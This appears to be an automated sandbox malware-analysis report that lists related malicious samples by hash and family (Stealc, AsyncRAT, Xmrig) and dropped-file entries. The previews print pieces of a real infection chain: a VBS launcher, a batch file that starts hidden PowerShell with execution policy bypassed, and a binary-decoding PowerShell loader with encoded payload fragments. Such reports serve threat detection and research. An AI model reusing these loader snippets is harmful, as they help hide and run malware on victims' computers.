7TUyztB-2Bv8L8gRhXdcDKSzxiMknwYCjp3XaQdwr-2Fp8kePQSl33tJvX1ITAiP7FBhlwoPgNxbRoTwVzl0I2Q2bE71pQB2jeSQldBukVcgJT-2BrmpKQA1GW5-2B59frk-3D	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/naimestyles.com%2Frtwo%2Fn%2FNUaX8EOAfixpQMTfRAnHcKww/eGlzaEBub3ZvenltZXMuY29t	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	4.175.87.197 13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	4.175.87.197 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.45
	http://168.63.129.16:32526/vmSettings	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	4.175.87.197 13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	4.175.87.197 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	image.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer, zgRAT	Browse	24.152.39.120
	4mdl6SULX9.js	Get hash	malicious	AsyncRAT, PureLog Stealer, zgRAT	Browse	24.152.39.120
	1730537044dd01929d6467da9e0bc05cd98b8bc5df2688589dd2eaebbc46df2ed3bf068fc2733.dat-decoded.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	24.152.39.120
	bcb.vbs	Get hash	malicious	Unknown	Browse	24.152.39.120
	cac.js	Get hash	malicious	Unknown	Browse	24.152.39.120
	caprus.vbs	Get hash	malicious	Unknown	Browse	24.152.39.120
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	24.152.39.120
	TROODOS AIR PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	24.152.39.120
	SecuriteInfo.com.Win32.Evo-gen.2279.7595.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	24.152.39.120
	SecuriteInfo.com.Win32.Evo-gen.2279.7595.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	24.152.39.120

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xef640f17, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585212576038959
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	E6AA14A5DA361E2F90C60A42F80DD4EA
SHA1:	8D85CE3BF613E730A359E2D6119EE8ABD8CBFAE3
SHA-256:	8DB78815A9DA96635B93DABFCF9B5FD231DEC0299E90911DD996B0D88B569A6F
SHA-512:	623C73E26466EBC85EE408931C1C971CC667245C179AF620FC52E86BF27B5034121B46162382B0D995C1D76A9D331C481DAE0CCD33296A1001F7465EB6DB6593
Malicious:	false
Preview:	.d..... ...............X\...;...{......................0.z..........{.......\|'.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..........................................\|G.................0"53.....\|G..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\1Execute.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:qVNUNUV/VUUcMPUUUIVMHVV:qEm1cMPNUoqVV
MD5:	529CF04DB0F736467C7583EA80C3AA66
SHA1:	7628148337B1D3D700C8151F76A1595B6F5123B8
SHA-256:	67642E56281BC4AA846689BC725F8FCC76E61C20831AA4F7E2E0C8CDBA17E520
SHA-512:	F612B12E1A7C2021F6C2723FE57F23ABA3D1B6588F080DD67E48DC44EEAF88455E4BC6BF9CAED088C63C3FB019AD8696EEB44E7BB09F8C81638779F4658EF6D4
Malicious:	false
Preview:	01000101011110000110010101100011011101010111010001100101

C:\Users\Public\1Framework.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (544), with no line terminators
Category:	dropped
Size (bytes):	544
Entropy (8bit):	0.997805125995286
Encrypted:	false
SSDEEP:	12:qrMpN10Ndipd6VW6JGZc0vV8UvVh9cvVd4TMykpooV:qCCipAg6n0vaUv1UnqyH
MD5:	AF4D21F7D77E8A1BC4F82A834309AD0A
SHA1:	CAF541C4AC263EE927894D3F03F1A532C253338E
SHA-256:	149698FEA0657620E3972AB9FA450A868727C6DA1199E3706C4F1C98DFDD9FFC
SHA-512:	156625F91A117B75AFF983FD4E71C2A049BF7D2AE64B9A4BEC338214F58DE4D27097F4AE3B71C123726D310ADE27CB083844F7960553B0F04864A4ADA903AF12
Malicious:	false
Preview:	0100001100111010010111000101011101101001011011100110010001101111011101110111001101011100010011010110100101100011011100100110111101110011011011110110011001110100001011100100111001000101010101000101110001000110011100100110000101101101011001010111011101101111011100100110101101011100011101100011010000101110001100000010111000110011001100000011001100110001001110010101110001100001011100110111000001101110011001010111010001011111011100100110010101100111011000100111001001101111011101110111001101100101011100100111001100101110011001010111100001100101

C:\Users\Public\1invoke.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.584962500721156
Encrypted:	false
SSDEEP:	3:qGv:q+
MD5:	B9376E9E3C4D48F5E35A3F355AE1F74A
SHA1:	C65605ADF5270F5065089B0189DA542274D30DB0
SHA-256:	90092E5FB861DD4FF34FA20F4B31CA44EBBB3BC367A8D7A35B89A7F89C793FA9
SHA-512:	5560101EDB289C4A86476BCE55648324EF188FF1E2D879A1A3BC10C1298AA643255C35D16A984F30D624FE9A87306304EAA14179863001DDD6E264E8BBA17591
Malicious:	false
Preview:	Invoke

C:\Users\Public\1load.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:T:T
MD5:	F19DBF2EDB3A0BD74B0524D960FF21EB
SHA1:	DDCB77FF769EA54CA622848F6BEDD4004FA4F4FA
SHA-256:	8A6BDB6B18DA586FE7F2ACBD8F1055533F2CD97A3681B3652BCD712224DF45C3
SHA-512:	F0419117DB6330F52EBA6E7EF08A5CB096FDB02A40B1DFE4F28DD57791A11B6753E4DB0FB63E1C4A22293584DC61908A8E2E99DC59A07F805E097C723329D216
Malicious:	false
Preview:	Load

C:\Users\Public\1method.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:at:K
MD5:	38B97710070DBDD7B3359C0D52DA4A72
SHA1:	4CE08D2147C514F9C8E1F83D384369EC8986BC3B
SHA-256:	675F06AF4E7F254D55AC605BBD7DA45D9E00207A97F8A8AB7BB747D512776BC7
SHA-512:	B11CEC0F21DEC871163D6C254850D3F807ECC4AE726B143A0C4667A25C3A3FE9283AEE3F6850A2389FDCE3D20F41D9C3D30F4768171137D6BDC1355A2116189C
Malicious:	false
Preview:	GetMethod

C:\Users\Public\1msg.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
Category:	dropped
Size (bytes):	268290
Entropy (8bit):	2.5634235112530215
Encrypted:	false
SSDEEP:	6144:uXeNty+h+PKIJ6v6ocQc50crHkji1VhAvSVhGqy3vXX8ykAavS19RePNCNq+Dm8s:uXw0HN1Vh1TGqy3vXXzev+Dm8+3ABaXD
MD5:	F678CFE6773D1D555A88CDA3293B1C93
SHA1:	D510F0166572E4FCD8965507B312BC5E0C3591EC
SHA-256:	8404301D6DB4D1070E446CFE902B02E4717D88FB2ED73AA8A8267B3AA6C7EC2D
SHA-512:	CB018CD87AA4D8D87643BFAE8FCC3F85441C81694C563E1FEE767AB857272B416AC87FD175E022D408F8A155BFA7AB6CC3A7CF311284DF3241786B0412BBB544
Malicious:	false
Preview:	..4.D.5.@.9.%.%.%.%.3.%.%.%.%.%.%.%.4.%.%.%.%.%.%.F.F.F.F.%.%.%.%.B.8.%.%.%.%.%.%.%.%.%.%.%.%.%.%.4.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.8.%.%.%.%.%.%.%.%.E.!.F.B.@.%.E.%.%.B.4.%.9.C.D.2.!.B.8.%.!.4.C.C.D.2.!.5.4.6.8.6.9.7.3.2.%.7.%.7.2.6.F.6.7.7.2.6.!.6.D.2.%.6.3.6.!.6.E.6.E.6.F.7.4.2.%.6.2.6.5.2.%.7.2.7.5.6.E.2.%.6.9.6.E.2.%.4.4.4.F.5.3.2.%.6.D.6.F.6.4.6.5.2.E.%.D.%.D.%.@.2.4.%.%.%.%.%.%.%.%.%.%.%.%.%.%.5.%.4.5.%.%.%.%.4.C.%.!.%.3.%.%.C.@.6.4.4.D.6.5.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.E.%.%.%.%.2.%.!.%.B.%.!.%.8.%.%.%.%.F.@.%.%.%.%.%.%.%.@.%.%.%.%.%.%.%.%.%.%.%.%.6.E.!.8.%.!.%.%.%.%.2.%.%.%.%.%.%.%.2.%.%.!.%.%.%.%.%.%.4.%.%.%.%.%.2.%.%.%.%.%.%.%.%.2.%.%.%.%.%.4.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.4.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.6.%.%.!.%.%.%.%.%.2.%.%.%.%.%.%.%.%.%.%.%.%.%.2.%.%.6.%.8.5.%.%.%.%.!.%.%.%.%.%.!.%.%.%.%.%.%.%.%.%.!.%.%.%.%.%.!.%.%.%.%.%.%.%.%.%.%.%.%.%.!.%.%.%.%.%.%.%.%.%.%.

C:\Users\Public\1runpe.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	516096
Entropy (8bit):	3.2591336181685153
Encrypted:	false
SSDEEP:	6144:T6XxyF66uo2bccPwc26VUSsucCIrIroup0O+3tW7AVzdZGU+voIH3v60K9g9kJI:MUSsucCIrI0htW7AVRZGrnH3v6Bbi
MD5:	37C7338FC0DEE2431F17C13E6D63CA7D
SHA1:	5FD56E0B30E804985EC6369CCA921AA57C1B9387
SHA-256:	D7FAE721570C9AC29543DEF534F2B8BCAAB602E78BDE187855E97CA100ABB799
SHA-512:	1DD9EBC7A7884B5C9D73DAE351B3D58A82588F44E5861A358A4510FD80E8613719CEF5AB2AFFE5D256EAC697E359A7F2C952F89AEA94B93692113DA78876E8FE
Malicious:	false
Preview:	4D5@9%%%%3%%%%%%%4%%%%%%FFFF%%%%B8%%%%%%%%%%%%%%4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%8%%%%%%%%E!FB@%E%%B4%9CD2!B8%!4CCD2!546869732%7%726F67726!6D2%636!6E6E6F742%62652%72756E2%696E2%444F532%6D6F64652E%D%D%@24%%%%%%%%%%%%%%5%45%%%%4C%!%3%%97@7@5@2%%%%%%%%%%%%%%%%E%%%%E2!%B%!5%%%%%E8%3%%%%%6%%%%%%%%%%%%5E%6%4%%%%2%%%%%%%2%%4%%%%%%4%%%%%2%%%%%%%%2%%%%%4%%%%%%%%%%%%%%%4%%%%%%%%%%%%%%%%6%%4%%%%%2%%%%%%%%%%%%%3%%4%85%%%%!%%%%%!%%%%%%%%%!%%%%%!%%%%%%%%%%%%%!%%%%%%%%%%%%%%%%%%%%%%%!%%6%4%%4B%%%%%%%%2%%4%%64%3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%4%%4%%%C%%%%%%C9%5%4%%!C%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%2%%%%%%8%%%%%%%%%%%%%%%%%%%%%%%82%%%%%48%%%%%%%%%%%%%%%%%%%%%%2E74657874%%%%%%64E6%3%%%%2%%%%%%%E8%3%%%%%2%%%%%%%%%%%%%%%%%%%%%%%%%%%%2%%%%%6%2E72737263%%%%%%64%3%%%%%%2%%4%%%%%4%%%%%%E@%3%%%%%%%%%%%%%%%%%%%%%%%%%%4%%%%%4%2E72656C6F63%%%%%C%%%%%%%%4%%4%%%%%2%%%%%%EE%3%%%%%%%%%%%%%%%%%%%%%%%%%%4%%%%%42%%%%%%%%

C:\Users\Public\1tron.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	198
Entropy (8bit):	4.880041422960523
Encrypted:	false
SSDEEP:	6:XLYVJ69bGJOWPIfp1aH2h4FII1R3KbQO0cWIRvy:7YVJ69SAWPIfzhIII1kbQpcW2a
MD5:	165C844D6D9040CC45BA427C01FBC7A6
SHA1:	7213512B17F1079A39F60042A3849D9735F6BE96
SHA-256:	B7D0273D2F89706E8A836A479345371DB0FD9511C7EBACC76F863B669FE18928
SHA-512:	708C65849F3E3772560B8EC24467CFC62CAE703842E098384EE7FB611EAFCE419D4B9442B814C9E12393EED78576569B0B437D5D74F0A6CA84C78805188BA87F
Malicious:	true
Preview:	setlocal enabledelayedexpansion..set "ps=powershell.e"..set "ps1=xe"..set "cmd=C:\Users\Public\1tron.ps1"..%ps%"%ps1%" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%cmd%"..exit /b..

C:\Users\Public\1tron.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (11171), with CRLF line terminators
Category:	dropped
Size (bytes):	12153
Entropy (8bit):	2.1944324369602164
Encrypted:	false
SSDEEP:	48:SUgq/8DUF1VFomruZx8RgminnBJYzF1Vq0jvVJHa+IasF9G22NE2RnT0vCFFUbov:SEkgF1VLKQ0ndF1VLKQ0nt
MD5:	F414D74BCC49EC0D54A309F815C468E9
SHA1:	FB0D29DBE300ACBF295E0E7FFAC4D16197DE9174
SHA-256:	FCC81065FCFC6737CC92C5FA09AE2E30F047E1470D9DA9536C33B9A147F8F66D
SHA-512:	7F444E927AA73150396B7390FE65B2FE20E55972D7D369D7EE2F5120F58977DE856AF4945957C078911D6F97445ADEA06A968DAC3B19A29C83E5DF81C3059B4E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDecodeAndExecute, Description: Yara detected Powershell decode and execute, Source: C:\Users\Public\1tron.ps1, Author: Joe Security
Preview:	function loramyra {.. param (.. [Parameter(Mandatory = $true, ValueFromPipeline = $true)].. [ValidateNotNullOrEmpty()].. [string]$BinaryInput.. ).... -join ($BinaryInput -split '(?<=\G.{8})' \| Where-Object { $_.Length -eq 8 } \| ForEach-Object { [char][Convert]::ToInt32($_, 2) })..}....$TTTH4sIAAAAAAAEAy2O246iQBRF4VnUS4iaNKZIOClp6EV8PpCCiiguFVZFCJ0t8Hk3k7Z2Xvlf3DlThFdcB6ArkVF8MEtCXjJhwpAUswrQIUj7wiI2oQgfsnpHAAUVZJA23Orn7UlhvIZj6W1itIVjJsXjnTFGmtVs1nXdtII0AjEmIMXTCFfT6jUDUYTbmlEY4SekSyBMA5BVMzeJK3RAOMNWYoQRFgCNf7COS1MVSCxMAqrAz5NY45fyXOUBkDSgioIkqSL3OES0LCA0VHGrd6LJhxmZFy01x1YI8DET4L99NrzbOjyq2A6aX0lgcje9J5zRKy1b1jHzYI9GieE4SefrQ7Buvn18NxaUUU4cIs8oqIf3cDJ3Tp46vQX25vqzu52Bun7LbI58wWFKc5wfTPYVNbOV11Xd79uDiNX6kFvYcuLRX87LX2MeEcT7eF4D4aMXE7ZcL3IuaUoRGI3GuxlaPOaK9ItKjoyJaXga7j9WJdafZJWYqmIVNrD8OtkL66Dg4hubXFucjLRVFr4SdCm2TTNU4qPTe7QcILEbq2WaSJ3Rqb17qo4rPuPcrFXM8DZuaa09wNXHTqlLs6kaoXBTu9x9pwNp6MgIAAATTT = "0010000001000110011101010110111001100011011101000110100101

C:\Users\Public\1tron.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.047741785240635
Encrypted:	false
SSDEEP:	6:z9dA9mbVhPLHmwoZ9dA9Xg+TXkvbOKVaHxKTL9+/uH59TXokE:z9u6VhDHwZ9uXzTCLMKn9XH59T4n
MD5:	7F5C4C3F7B7683A4AC2C1CCFB3C7C237
SHA1:	EF722FCF6B1A554D3F93DD4BAF5B022F4CB6582C
SHA-256:	AB664EC706919BD7AAA887B817480B8D253E653E4715D52E46C19992583244D7
SHA-512:	D0803E365B04B03C8882EF06641AF28C3D6DCB6017D5A40AC3DB99D69A4F068B2989D65181E2FAF6118F78719066F1669DA3FF564F4501679D4DEC09195FC092
Malicious:	true
Preview:	MicrosoftDocumentPDF = ("WScript.Shell")..Set AdobeReaderDCPDF = CreateObject(MicrosoftDocumentPDF )..Microsoft2024 = "tron.b"..VasoAmareloDesconfiado = ":\Users\Pu"..AdobeReaderDCPDF.run """C"+VasoAmareloDesconfiado+"blic\1"+Microsoft2024+"at"" ", 0, true..

C:\Users\Public\1type.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.5216406363433186
Encrypted:	false
SSDEEP:	3:DJ:DJ
MD5:	BE784E48D0174367297B636456C7BCF1
SHA1:	8C906D9E0E2439238B3263E087AEE3D98FA86DEA
SHA-256:	510760F4C6F7FB3B5B332CD7D3A2F674235B0F58D77DBC3972ADAF682A168136
SHA-512:	AED58D8904742A672F9BA339069004A1C0339E6481A8949DE14EE8BF2AFEF43F8E18E55BA4A6854A7950EE355675C26B46120E500472DEAF0986F68451442AE4
Malicious:	false
Preview:	GetType

C:\Users\Public\1xx.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	0.9860400318404436
Encrypted:	false
SSDEEP:	3:qVNUVVmNVdVNVHzMHSVv:qA/mHdxMyd
MD5:	14C2A6B7BF15E15D8DAE9CD4A56432D5
SHA1:	0D00AA5D547EA7E6F7283221E5F3B0CC91CC6016
SHA-256:	79891821778C4CA9358C27E7FB66B0442A2921B661DF1293E398B18D81DA5D96
SHA-512:	E476851FAF540C3679225DE2B224D64D117FA1857A4DB7B34714D0154B8BA5EBAAB50E1A6B0578759B7572E89E3DF4D0D4112A7E4F5B81230931CFE6B651C63D
Malicious:	true
Preview:	010011100110010101110111010100000100010100110010001011100101000001000101

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lzwg0ij.hmi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aqe3tza1.h2i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crttrncl.g3i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_de14rrs1.yyb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbwjp1sv.br5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhade30a.a4e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ob35e20n.gzm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pupbcq5j.nrx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
